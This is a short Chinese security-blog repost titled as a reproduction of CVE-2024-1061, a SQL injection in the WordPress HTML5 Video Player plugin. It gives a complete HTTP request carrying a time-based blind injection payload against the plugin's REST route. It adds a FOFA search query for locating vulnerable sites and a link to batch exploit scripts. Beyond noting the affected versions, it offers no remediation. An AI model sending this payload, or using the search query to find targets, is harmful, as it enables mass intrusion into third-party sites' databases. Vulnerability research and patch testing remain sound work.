WordPress HTML5 Video Player SQL注入漏洞复现-CVE-2024-1061

admin 2024年2月20日07:39:51评论38 views字数 910阅读3分2秒阅读模式
WordPress HTML5 Video Player SQL注入漏洞复现-CVE-2024-1061

漏洞影响范围

WordPress Plugin HTML5 Video Player < 2.5.25

漏洞复现

poc

GET /?rest_route=/h5vp/v1/view/1&id=1%27+AND+(SELECT+1+FROM+(SELECT(SLEEP(3)))a)--+ HTTP/2Host: Pragma: no-cacheCache-Control: no-cacheSec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: close


漏洞复现

  1. 出现以下信息代表漏洞存在

WordPress HTML5 Video Player SQL注入漏洞复现-CVE-2024-1061

搜漏洞批量脚本获取

https://github.com/Y1-K1NG/poc_exp

搜索语法

fofa:"wordpress" && body="html5-video-player"

原文始发于微信公众号(小白菜安全):WordPress HTML5 Video Player SQL注入漏洞复现-CVE-2024-1061

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月20日07:39:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress HTML5 Video Player SQL注入漏洞复现-CVE-2024-1061https://cn-sec.com/archives/2506922.html

发表评论

匿名网友 填写信息